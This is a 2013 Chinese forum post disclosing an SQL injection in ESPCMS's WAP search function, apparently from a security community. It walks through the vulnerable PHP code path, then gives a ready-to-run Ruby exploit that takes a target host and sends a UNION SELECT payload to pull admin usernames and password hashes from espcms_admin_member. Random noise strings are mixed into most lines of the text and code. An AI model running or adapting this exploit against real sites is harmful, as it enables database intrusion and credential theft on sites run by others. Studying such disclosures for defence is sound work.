找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2169|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节
: \# d# o. E. c" A7 p/ C8 }0×2 PoC
; L$ l4 U* F7 T/ I1 q7 A) {$ ~9 h4 F1 f5 K2 x, \
6 u% @' E* e1 Y' b( O* h
5 O: u& _( d5 T' b$ a
0×0 漏洞概述
. R, _# s7 e5 j( W4 P7 q8 L+ K( L/ k; H5 m# ~$ [! u
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。( K4 {9 z1 ~  y+ a' M- q' k
其在处理传入的参数时考虑不严谨导致SQL注入发生4 o8 }1 \/ U1 D' _* C

8 i9 \/ q  N5 y, F$ Z4 }' G% e3 p9 B6 q: i9 B7 q
0×1 漏洞细节! T$ l# A: ?$ K6 c# C  g1 D
. p# ^0 V0 ~4 `' y  H2 n5 o8 I, {
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
# d: I* _3 ^' ]0 a# ~, E1 t- @正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。9 P) R5 _2 q' E% n4 r; I; t, z
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入) n$ r. T# K: S% ~
7 R! a5 h9 w) ~9 h% T! F4 I
在/interface/3gwap_search.php文件的in_result函数中:
! u2 c: @# B, Z. A' o# x3 W# H  E& }* F% R

) `+ f4 f7 W8 n. \
+ _- l* O5 l! t$ g+ T       function in_result() {
4 g( x! K+ n" [% c            ... ... ... ... ... ... ... ... ...
% O$ h8 {+ k! w+ K$ [- X            $urlcode = $_SERVER[ 'QUERY_STRING '];' Q- S! D; B( W1 @; L
            parse_str(html_entity_decode($urlcode), $output);% i' }: g: N+ Y; o7 V; t% g* ]1 |
- Y6 d7 X; w. j
            ... ... ... ... ... ... ... ... ...
7 G4 `9 K: B" v4 g5 K            if (is_array($output['attr' ]) && count($output['attr']) > 0) {
4 `7 C& F& s; _- C3 U3 ?7 z
9 [. H  ^  z: d! Y9 X! \                  $db_table = db_prefix . 'model_att';
9 j* ^+ x' C- |% T% H" s2 T3 O( E
                   foreach ($output['attr' ] as $key => $value) {$ v; Y. i* Y  U: [8 H
                         if ($value) {
5 y7 S7 H& r1 X$ J% v$ v5 B/ e0 B- Q& x
                              $key = addslashes($key);( I# e/ D' r1 n- D$ p
                              $key = $this-> fun->inputcodetrim($key);: z0 a; m  f$ t' @. l
                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";/ r; m" T- w4 c$ u
                              $countnum = $this->db_numrows($db_table, $db_att_where);3 p) t, f, |8 K; A. W4 `2 W/ f3 s
                               if ($countnum > 0) {
2 W5 H6 @8 @0 `# f1 l                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
6 K) w6 z8 ~; t' w* y0 o                              }, B1 ?! K# T8 ~% c$ R
                        }
% X  a9 T8 P  x4 ]: J6 o  T1 I                  }( ?2 N# _  G) w! O- @2 K0 k
            }
2 Z( a4 d/ ?& g8 ^            if (!empty ($keyword) && empty($keyname)) {# o/ D- z0 B( ~. i
                  $keyname = 'title';
& |. d0 N( R# ]7 s0 Y4 @0 ]                  $db_where.= " AND a.title like '%$keyword%'" ;0 e4 G* r$ o: C2 ?; f3 K  o6 h
            } elseif (!empty ($keyword) && !empty($keyname)) {. J2 a, Y& l: H6 M" F: r
                  $db_where.= " AND $keyname like '% $keyword%'";, ^4 ~% e& Y( }9 {2 p/ E, t
            }
7 n. _8 l& N- T' U* ?2 r# k1 o3 }            $pagemax = 15;
+ r- B* C; {/ w$ X
# z0 {3 N; T3 K2 Q3 U            $pagesylte = 1;; y$ E3 J! _* R. h

. n3 Z1 ^# G$ ]. P# n1 @+ V' Y             if ($countnum > 0) {, S. D% D' X) F% j( {' O5 {
6 i$ C6 ?3 n) y
                  $numpage = ceil($countnum / $pagemax);5 }+ ?3 d5 s* l) d! S+ M& Z3 E
            } else {
! ~6 F+ ~$ H! A! ~; r; K6 d                  $numpage = 1;3 g$ V5 t* x* U4 L# X- q- n1 o
            }
9 w9 ^5 n) F' i" J. C2 B            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;# W1 e& A  O+ X. C5 D- a
            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);  b1 K$ E- l; Q4 @& K3 s
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);+ {& o: Q( _8 Q  P
            ... ... ... ... ... ... ... ... ...% u. k2 m. b2 {
      }2 t4 t- }' F* D! G7 O( _
$ d$ q% M) |4 l' d0 `7 k

- x0 v, x* U2 S7 ]/ x9 }3 f0×2 PoC
+ L7 \( j3 `8 q2 @# e: m, t
; P' _3 `* s3 x! Y+ T6 V8 U# B, @

/ K, n/ d5 ?4 prequire "net/http"( F0 c! X. x5 Q, m# p/ o' ]
7 o" H. L* I- U
def request(method, url)
5 s" d, T" `, C; d7 [3 W    if method.eql?("get")* O5 J* `  v0 }  E/ F+ s
        uri = URI.parse(url)# o# s2 r- I  Y
        http = Net::HTTP.new(uri.host, uri.port)
6 ^# ~" i" p1 n; S% B; D  U$ w        response = http.request(Net::HTTP::Get.new(uri.request_uri))
. j7 ~8 F; Z7 h* m& U  p# R        return response
3 s. i& I: u4 u5 F1 B& K    end
7 k6 @* o" b0 Dend6 O! B( t8 D: v( \; E/ h$ S2 Y
9 u& D' W6 S' O; g/ c* k
doc =<<HERE
: d, D0 R* z/ T' j8 p-------------------------------------------------------' }! [" g2 E6 K# [2 Q
Espcms Injection Exploit, ^/ u; ?! n9 V( B) [8 v
Author:ztz
0 k- G% {# N: {& z3 ?Blog:http://ztz.fuzzexp.org/
4 B' I5 i+ o" B+ d& R-------------------------------------------------------
9 M0 {  a  ]; X4 k8 _  F9 _3 M3 o  ]. A1 |0 g5 I8 ^+ D
HERE- u7 x' a* j) S  w8 i
2 B' F" q1 P" N6 e3 C
usage =<<HERE; `, _4 ^4 ^* O( ?) M
Usage:         ruby #{$0} host port path2 X" u, j. X1 J% G  U# m- j
example:     ruby #{$0} www.target.com 80 /
2 y+ l% U6 Q, L! R/ v* {3 x4 rHERE
: u" Y# |4 N. p1 b# C/ E9 J6 y7 Z
puts doc" E1 F0 M+ d) o" p; X
if ARGV.length < 3
" r. d# K* }: ~) p- L9 r6 N* ?    puts usage* D1 I" G/ E; t+ f3 L* w2 J4 T: f
else
4 ~2 W2 b- \# x    $host = ARGV[0]
$ @3 r0 k/ S! d/ @! z/ W: B0 v3 W! l# {- F    $port = ARGV[1]& x) X4 n' I8 u2 T: b7 X
    $path = ARGV[2]
7 R/ c- ^2 ^- M
7 d: z/ }% D% C) d" m" d3 t3 @; B    puts "
  • send request..."
    0 g5 e! \- ]% p    url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
    & R/ i2 J+ F1 L$ B. B4 iattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,133 h8 ]2 B4 E3 \& T3 s
    ,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
    8 B: o% w" i4 b# P; e* ]4 D$ b,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23", O& r- m( a- p$ c1 r! g5 _1 K
        response = request("get", url): F1 u$ s7 Z6 D  Y! Q1 t
        result = response.body.scan(/\w+&\w{32}/)
    8 [8 H2 z# m/ @, N& {- r. `7 t    puts result
    7 i, X; u5 `1 ]2 g. G4 Lend' F3 E$ c! [+ L/ O( f

    " \- p& c& o9 ~
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表